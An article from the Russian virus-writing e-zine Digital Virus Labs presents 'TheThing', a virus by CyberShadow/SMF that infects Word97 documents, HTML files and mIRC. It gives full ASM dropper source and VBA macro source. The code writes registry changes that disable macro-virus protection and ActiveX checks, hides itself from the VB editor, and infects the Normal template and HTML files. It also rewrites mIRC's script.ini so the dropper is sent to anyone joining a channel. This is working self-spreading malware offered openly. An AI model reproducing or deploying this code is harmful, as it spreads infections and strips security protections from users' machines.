- [Digital Virus Labs #11] - [Page 19] - TheThing (HTML/W97M/mIRC вирус с дроппером на ASM) (c) by CyberShadow/SMF Давным-давно прочитал я про вирус Anarchy.6933 который и вдохновил меня занятся скрипт-вирусами. Для тех кто не в курсе: Anarchy.6933 заражает COM/EXE файлы и, используя хитрый прием, заражала Word документы при их открытии Word'ом! Ручками анализировался формат документа и дописывалась секция с макросами, которые и продолжали разносить вирус дальше. К сожалению, у меня на такие фокусы мозгов не хватает :( Поэтому пришлось извращаться. Короче: TheThing - мультиплатформенный вирус, заражает документы Word97, HTM? файлы, содержит фичу для распространения через IRC. Короче действует как обычный скрипт-вирус. НО! Через mIRC на машину "клиента" падает COM файл, который заражает Word97. Причем, не так, как это делал в свое время Win.APPARITION от Lord ASD. Хоть это вирусяка и мощная, но заражение Word происходило по тупому: если при сканировании директорий находился файл Normal.DOT, то он просто в лобовую переписывался зараженным Normal.DOT, причем без всяких проверок и прочего, кроме того, Win.APPARITION не распространялся via Word, а просто разносил другой вирус. У меня все не так как у людей:) СОМ файло при запуске (сам знаю, что mIRC вирии накрываются, но...) анализирует системные переменные, находит WINDOWS и производит туеву хучу модификаций с реестром, дабы поотключать нахрен все проверки на макро-вирусы и интернет безопасность. Одновременно регистрирует инфицированный index.htm как стартовую страницу для IE и на этом завершает свою работу (можно прикрутить заражение COM/EXE, но пока лениво:). При запуске IE загружается index.htm и заражает Word. А уже Word находит mIRC, заражает его, заражает *.DOC, шарится в переменной PATH для поиска *.HTM? файлов, заражает их. Кроме того, из реестра дергается адрес папки "My documents" или "Мои документы" по нашему, там же происходит сканирование на предмет HTMLок. Вот! ;----------------------------------------------------------------------- ;- Имя: TheThing ;- Автор: CyberShadow//SMF ;- Цели: HTML, W97DOC, mIRC червь ;- Размер: Различный ;- Стелс: только Word97 ;- Полиморфизм: Нет ;- Шифровка: Нет ;- Формат: ; 1. HTML (для HTML файлов) ; 2. VBA (для W97DOC) ; 3. ASM (как dropper) ; 4. mIRC script (для mIRC) ;- Описание: ; 1. Если стартует THETHING.COM - проверяет запущен ли WINDOWS, если ; НЕТ - дезактивируется, если ДА - ищет %COMSPEC%, сохраняет на ; диск файл R.REG, находит %WINDOWS%\regedit.exe и запускает на ; выполнение %WINDOWS%\regedit.exe -s r.reg ; Это выполняет следующие действия: ; а. Выключает MacroVirusProtection для Word и Excel ; б. Выключает ActiveX контроль для HTML файлов ; в. Делает файл %WINDOWS%\index.htm стартовой страницей для IE ; После чего записывает файл %WINDOWS%\index.htm как dropper ; 2. Если стартует HTML файл - заражается Word. ; 3. Если стартует Document_Close в Word97 - отключается защита от ; вирусов в макросах. Заражается NormalTemplate и/или ; ActiveDocument. Ищет и, если находит, записывает файл ; ?:\mirc\script.ini, который делает DCC ON JOIN thething.com. ; После всего этого, %PATH% и %MyDocuments% сканируются на наличие ; *.HTM? файлов и производится заражение этих файлов. Наконец, на ; диске создается файл c:\thething.com, запускается, после чего ; удаляется. ;- Идеи: Сделать COM/EXE заражение, а также Excel заражение, примочки из ; Meliss'ы, и Boot/MBR инфекция :) ;----------------------------------------------------------------------- <---------------------------------- ASM ------------------------------------> .model tiny .code .386 org 100h start: mov ax,cs:[2ch] ; От find'им откуда грузанулись mov Ds,ax xor bx,bx next: mov al,ds:[bx] or al,0 je con inc bx jmp next con: inc bx mov al,ds:[bx] or al,al jne next add bx,3 xchg bx,dx mov ax,3d00h int 21h jc outta xchg bx,ax push cs cs pop es ds mov dx,50000 mov cx,10000 mov ah,3fh int 21h mov ds:[49990],ax mov ah,3eh int 21h mov ax,1683h xor bx,bx int 2fh ;Is windows running? test bx,bx jz outta cld mov di,offset comspec ;Find COMSPEC call search jc outta mov di,offset buffer call moving push di mov di,offset windir ;Find WinBootDir call search pop di jc outta xor al,al stosb mov cs:[tmp_1],di mov eax,20632fffh stosd call moving push cs pop ds mov si,offset regedit call moving mov al,0dh stosb mov di,offset WinDir call search mov di,offset buffer1 call moving push cs pop ds mov si,offset htmFileName call moving sub si,offset htmFileName add si,offset reg_dump-offset htmFileName-2 mov cs:[tmp_2],si mov dx,offset file_reg xor cx,cx mov ah,3ch int 21h jc outta xchg bx,ax mov dx,offset reg_dump mov ah,40h mov cx,offset endRegDump-offset reg_dump int 21h mov si,offset buffer1 mov di,60000 mov cx,cs:[tmp_2] push di si cx cld rep movsb pop cx di si push di replaceStuff: lodsb cmp al,'\' jne repS1 stosb inc word ptr cs:[tmp_2] repS1: stosb loop replaceStuff pop dx mov ah,40h mov cx,cs:[tmp_2] int 21h mov dx,offset endRegDump mov ah,40h mov cx,offset endRegDump1-offset endRegDump int 21h mov dx,offset buffer1 mov ah,40h mov cx,cs:[tmp_2] int 21h mov dx,offset endRegDump1 mov ah,40h mov cx,offset endRegDump2-offset endRegDump1 int 21h mov ah,3eh int 21h push cs cs mov ax,4a00h mov bx,1000h int 21h pop es ds mov dx,offset buffer mov bx,offset block_s mov word ptr cs:[bx],0 mov ax,cs:[tmp_1] mov word ptr cs:[bx+2],ax mov cs:[bx+4],cs cli mov cs:tmp_1,ss mov cs:tmp_2,sp sti mov ax,4b00h int 21h cli mov ss,cs:[tmp_1] mov sp,cs:[tmp_2] sti mov dx,offset file_reg mov ah,41h int 21h ;delete r.reg mov di,offset WinDir call search mov di,offset buffer push di call moving push cs pop ds mov si,offset htmFileName call moving pop dx xor cx,cx mov ah,3ch int 21h jc outta xchg bx,ax mov dx,offset inf1 mov ah,40h mov cx,offset endinf1-offset inf1 int 21h mov dx,offset buffer call make_dump inc cx mov ah,40h int 21h mov dx,offset endinf1 mov cx,offset endinf2-offset endinf1 mov ah,40h int 21h mov ah,3eh int 21h outta: mov ah,4ch int 21h make_dump: push bx dx mov di,dx mov si,50000 mov cx,cs:[49990] add cx,si mov ax,"''" stosw xor bl,bl startDump: lodsb mov ah,al and al,15 add al,33 stosb shr ax,12 add al,33 stosb inc bl inc bl cmp bl,40 jb nextDump xor bl,bl mov ax,0a0dh stosw mov ax,"''" stosw nextDump: cmp si,cx jb startDump mov ax,2020h mov es:[di],ax sub di,dx mov cx,di pop dx bx ret moving: lodsb or al,al je no_move stosb jmp moving no_move: ret search: mov bp,di mov ds,cs:[2ch] xor si,si search_0: mov di,bp search_1: cmp word ptr ds:[si],0 je not_found lodsb and al,11011111b cmp al,cs:[di] jne search_0 search_2: inc di cmp byte ptr cs:[di],0 jne search_1 search_3: lodsb cmp al,':' jne search_3 dec si dec si clc ret not_found: stc ret windir db 'WINBOOTDIR',0 comspec db 'COMSPEC',0 regedit db '\REGEDIT.EXE -s ' file_reg db 'r.reg',0 htmFileName db '\index.htm',0 ;Label 'reg_dump' must stay after 'htmFileName' reg_dump: db 'REGEDIT4',0dh,0ah db 0dh,0ah db '[HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel]',0dh,0ah db '"Options6"=""',0dh,0ah db '[HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\Excel\Microsoft Excel]',0dh,0ah db '"Options6"=""',0dh,0ah db '[HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options]',0dh,0ah db '"EnableMacroVirusProtection"="0"',0dh,0ah db '[HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\Word\Options]',0dh,0ah db '"EnableMacroVirusProtection"="0"',0dh,0ah db '[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]',0dh,0ah db '"1201" = ""',0dh,0ah db '[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]',0dh,0ah db '"1201" = ""',0dh,0ah db '[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]',0dh,0ah db '"Start Page"="' endRegDump: db '"',0dh,0ah db '[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main]',0dh,0ah db '"Start Page"="' endRegDump1: db '"',0dh,0ah endRegDump2: inf1: include inf1.asm endinf1: include inf2.asm endinf2: ;WARNING!!!!! After endinf2 only non needed variables!!!!!!! tmp_1 dw ? tmp_2 dw ? block_s dw ?,?,? buffer1 db 256 dup (?) buffer: end start <---------------------------------------------------------------------------> <--------------------------------- HTML ------------------------------------> <---------------------------------------------------------------------------> <---------------------------------- DOC ------------------------------------> 'Private Sub Document_Close() ' On Error Resume Next ' 'TheThing ' 'by CyberShadow//SMF ' Call DisableAll ' Call infectDoc ' Call infectMIRC ' Call WriteDump("c:\"):' rv = Shell("c:\thething.com", 6) ' Kill "c:\thething.com" ' Call infectHTMS ' Application.ScreenUpdating = True 'End Sub 'Private Sub infectHTMS() ' On Error Resume Next ' a = System.PrivateProfileString("", "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", "Personal") ' Call SearchForHTM(a) ' a = Environ("PATH") ' i = 1 ' Do While i <= Len(a) ' c = "" ' Do While i <= Len(a) And Mid$(a, i, 1) <> ";" ' c = c + Mid$(a, i, 1) ' i = i + 1 ' Loop ' Call SearchForHTM(c) ' i = i + 1 ' Loop 'End Sub 'Private Sub ViewVBCode(): Stealth: End Sub 'Private Sub ToolsMacro(): Stealth: End Sub 'Private Sub FileTemplates(): Stealth: End Sub 'Private Sub Stealth(): On Error Resume Next ' ShowVisualBasicEditor = 0: Application.EnableCancelKey = 0 'End Sub 'Private Sub SearchForHTM(PathForHTM) ' On Error Resume Next ' Target = Dir$(PathForHTM + "\*.htm*") ' If Target = "" Then GoTo NoHTMs ' Do ' Open PathForHTM + "\" + Target For Input As #1 ' Line Input #1, a ' If a <> " " Then ' c = a ' Do While Not EOF(1) ' Input #1, a ' c = c + Chr$(13) + Chr$(10) + a ' Loop ' Close #1 ' Open PathForHTM + "\" + Target For Output As #1 ' Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule ' For i = 1 To AD.countoflines ' ca = AD.lines(i, 1) ' If i < 30 Then ca = Mid$(ca, 2, Len(ca) - 1) ' If i => 30 and i < AD.countoflines - 2 then ca = "'" + ca ' if ca <> "" then Print #1, ca ' Next ' Print #1, c ' End If ' Close #1 ' Target = Dir$ ' Loop While Target <> "" 'NoHTMs: 'End Sub 'Private Sub infectMIRC() ' For i = 0 To 5 ' a = Chr$(Asc("C") + i) ' Call infect(a) ' Next 'End Sub 'Private Sub infect(a) ' On Error GoTo outta ' a1 = a + ":\mirc\" ' Open a1 + "script.ini" For Output As #1 ' Print #1, "[script]" ' Print #1, "n0=on 1:JOIN:#:/dcc send $nick " + a1 + "thething.com" ' Close #1 ' dropperPath = a1 ' Call WriteDump(dropperPath) 'outta: 'End Sub 'Private Sub DisableAll() ' On Error Resume Next ' SetAttr NormalTemplate.Path + "\" + NormalTemplate, 0 ' With Application ' .EnableCancelKey = True ' .ScreenUpdating = False ' .ShowVisualBasicEditor = False ' End With ' With Options ' .ConfirmConversions = False ' .SaveNormalPrompt = False ' .VirusProtection = False ' End With 'End Sub 'Private Sub infectDoc() ' On Error Resume Next ' Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule ' Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule ' If NT.lines(1, 1) <> "' " Then ' NT.DeleteLines 1, NT.countoflines ' NT.Insertlines 1, AD.lines(1, AD.countoflines) ' End If ' If AD.lines(1, 1) <> "' " Then ' AD.DeleteLines 1, AD.countoflines ' AD.Insertlines 1, NT.lines(1, NT.countoflines) ' End If ' i = 1: c = AD.countofline ' Do While i <= c ' If AD.lines(i,1)="" then ' AD.DeleteLines i+1,AD.countoflines-i-1 ' i = c ' End If ' i = i + 1 ' Loop ' i = 1: c = NT.countoflines ' Do While i <= c ' If NT.lines(i,1)="" then ' NT.DeleteLines i+1,NT.countoflines-i-1 ' i = c ' End If ' i = i + 1 ' Loop 'End Sub 'Private Sub WriteDump(dropperPath) ' On Error Resume Next ' Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule ' checkit = "Dumpin" ' i = 1: GetDump = 0 ' Do While i < AD.countoflines ' a = AD.lines(i, 1) ' If Len(a) > Len(checkit) Then ' For j = 1 To Len(a) - Len(checkit) ' If Mid$(a, j, Len(checkit) + 1) = checkit + "g" Then GetDump = i + 1: i = AD.countoflines ' Next ' End If ' i = i + 1 ' Loop ' dropperBody = "" ' Do While Mid$(AD.lines(GetDump, 1), 1, 1) = "'" ' If Len(AD.lines(GetDump, 1)) > 2 Then ' For i = 2 To Len(AD.lines(GetDump, 1)) Step 2 ' If Mid$(AD.lines(GetDump, 1), i, 1) <> " " Then ' a1 = Asc(Mid$(AD.lines(GetDump, 1), i, 1)) - 33 ' b1 = Asc(Mid$(AD.lines(GetDump, 1), i + 1, 1)) - 33 ' dropperBody = dropperBody + Chr$(a1 + 16 * b1) ' End If ' Next ' End If ' GetDump = GetDump + 1 ' Loop ' Open dropperPath + "thething.com" For Output As #1 ' Print #1, dropperBody; ' Close #1 'End Sub 'Private Sub Dumping() ' 'End Sub <--------------------------------------------------------------------------->